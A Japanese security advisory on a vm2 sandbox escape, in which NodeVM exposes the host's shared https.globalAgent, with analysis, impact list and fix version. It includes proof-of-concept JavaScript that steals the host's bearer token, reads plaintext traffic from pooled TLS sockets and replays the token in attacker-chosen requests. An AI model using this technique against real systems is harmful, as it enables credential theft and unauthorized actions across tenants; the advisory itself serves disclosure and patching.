vm2 3.11.6では、`NodeVM`が明示的に`https`モジュールをrequireすることを許可される場合、ホストプロセスの実際の`https.globalAgent`が公開されます。このモジュールは読み取り専用としてラップされますが、共有エージェントのメソッドが呼び出されると、ホストオブジェクトが変更されます。サンドボックスコードは`free`リスナーを登録し、関連性のないホストHTTPSリクエストがプール接続を解放するたびに、ホストのリクエストオプションとホストのTLSソケットを受け取ることができます。
特定のテスト環境では、サンドボックスコードは`https`組み込みモジュールのみが許可されていました。
- エージェントイベントから、ホストリクエストのベアートークンを読み取りました。
- リリースされたホストTLSソケットにデータリスナーをアタッチし、次のホストのレスポンスボディをプレーンテキストで読み取りました。
- プライベートサービスのホスト名とポートを特定しました。
- 攻撃者が選択した認証済みPOSTリクエストを、盗まれたホストトークンを使用して送信しました。
- サービスがそのアクションを受け入れたことを確認しました。
ホストアプリケーションは、その認証情報、リクエスト、レスポンス、ソケット、または宛先をサンドボックスに一切渡していません。これらが境界を越えたのは、vm2がサンドボックスローカルのネットワークモジュールインスタンスではなく、プロセス全体で共有されるHTTPSエージェントを公開しているためです。
### 詳細
脆弱な境界は、`lib/builtin.js`にあるデフォルトの組み込みローダーです。
```js
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
```
このラッパーは、実際のホストモジュールのプロパティを再帰的に公開します。通常の定数の場合、読み取り専用プロキシで十分な場合があります。しかし、プロセス全体で共有されるEventEmitterオブジェクトの場合、そのメソッドが内部状態を変更するため、不十分です。
`https.globalAgent`は、ホストが別の`agent`を提供しない場合に、ホストHTTPSリクエストで使用されるデフォルトのエージェントです。このエージェントは、Node.jsのスレッド全体で共有されます。その`free`イベントは、次の2つを提供します。
- リクエストが完了し、再利用可能な`TLSSocket`。
- そのソケットをプールに配置するために使用された接続/リクエストオプション。
以下のサンドボックスコードは、このホストのシングルトンに直接登録されます。
```javascript
const https = require('https');
https.globalAgent.on('free', (socket, options) => {
const token = options.headers.Authorization;
const destination = {host: options.host, port: options.port};
socket.on('data', chunk => {
capturedHostTraffic += chunk.toString('utf8');
});
const req = https.request({
hostname: destination.host,
port: destination.port,
path: '/sandbox-action',
method: 'POST',
headers: {Authorization: token},
agent: false,
});
req.end(attackerChosenBody);
});
```
`.on()` メソッドの呼び出しはプロパティの代入ではないため、読み取り専用ハンドラはそれを実際のホスト Agent に転送します。その後、ホストが `free` イベントを発生させると、vm2 は、ライブのオプションとソケットの情報をサンドボックスのコールバックに渡します。ネストされたヘッダーの値の読み取りは成功します。`socket.on()` の呼び出しも実際のソケットに転送され、サンドボックスが、その接続での後続のリクエスト中に送信される復号されたバイトを監視できるようになります。
完全な脆弱性の流れは以下の通りです。
```text
https が許可された、攻撃者制御の NodeVM プログラム
-> 実際のホストの https.globalAgent に登録
-> 関連性のないホストの HTTPS リクエストが完了
-> 共有の Agent が、ライブのソケットとリクエストのオプションをサンドボックスのコールバックに送信
-> サンドボックスが、ホストの Authorization トークンとプライベートな宛先情報を読み取る
-> サンドボックスが、解放された TLSSocket に接続
-> 次のホストからの応答が、プレーンテキストで表示される
-> サンドボックスが、盗まれたトークンを再利用して、攻撃者が選択した認証済みのリクエストを送信
```
これは、他のホストの組み込み機能が拒否される、同じプロセス全体で監視を行う機能の残骸です。現在の危険な組み込み機能のフィルタでは、`https` モジュールはプロセス全体でグローバルなものとは見なされていません。これは、モジュールが正当なサンドボックスのネットワーク API も持っているためです。安全な実装では、ホストのシングルトンを公開しないようにする必要があります。例えば、サンドボックスローカルのモジュールインターフェースとサンドボックスローカルの Agent を提供することで実現できます。
### 実証コード
添付された実証コードは、一時的な証明書と、ローカルの HTTPS サーバーのみを使用しています。
1. Node.jsとOpenSSLをインストールします。
2. 添付の`poc`ディレクトリで、以下のコマンドを実行します。
```bash
npm install --ignore-scripts
node poc.js
```
3. 脆弱性が確認される結果には、以下のすべてのマーカーが含まれます。
- 漏洩したホストトークン: `Bearer VM2_HOST_AUTHORIZATION_f7952a`;
- キャプチャされたホストレスポンス: `VM2_PRIVATE_HOST_RESPONSE_47b2d6`;
- 攻撃者によって選択された認証済みアクション: `VM2_SANDBOX_ACTION_8d14c3`;
- サーバーの判断: `ACTION_ACCEPTED`.
最初のホストリクエストにはトークンが含まれています。完了後、サンドボックスのコールバックがトークンを受け取り、独立してアクションリクエストを送信します。2番目のホストリクエストは、プールされたTLS接続を再利用します。サンドボックスのリスナーは、そのレスポンスをライブソケットから読み取ります。このPoCは、機密性と完全性の両方の影響が発生しない限り、失敗します。
### 影響
これは、プロセス全体で共有される認証済みネットワークリソースの境界を越えた漏洩と不正利用です。
`https`が許可された`NodeVM`にコードを送信できる攻撃者は、ホストがデフォルトのHTTPSエージェントを使用している場合、以下のことが可能になります。
- Authorization、Cookie、APIキー、プロキシ認証、その他の機密性の高いリクエストオプションを盗む。
- ホストコードのみが使用する、プライベートなサービスホスト名とポートを発見する。
- 再利用されたTLS接続における、プレーンテキストのレスポンスヘッダーとボディを読み取る。
- ホストがリクエストオプションを通じて提供する場合、クライアント証明書、秘密鍵、パスフレーズ、CA、またはセッション関連のオプションを盗む。
- 盗まれたベアラークレデンシャルを使用して、認証済みの操作を実行する。
- ライブのホストソケットに書き込み、または破壊することで、関連性のないトラフィックを中断または破損させる。
- 複数のサンドボックスとホストワークロードが1つのプロセスを共有する場合、テナントの境界を越える。
サンドボックスは、意図的に独自のHTTPSリクエストを実行する機能を備えています。サンドボックスは、意図的にホストアプリケーションのクレデンシャルと接続を監視または再利用する権限を持っているわけではありません。ホストが常に、機密性の高いリクエストごとに個別のプライベートエージェントを提供する場合、この特定のシングルトン状態を回避できますが、これはデフォルトの動作ではありません。
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは 3.11.3 以降、3.11.6 以下。修正は 3.11.7 で行われました。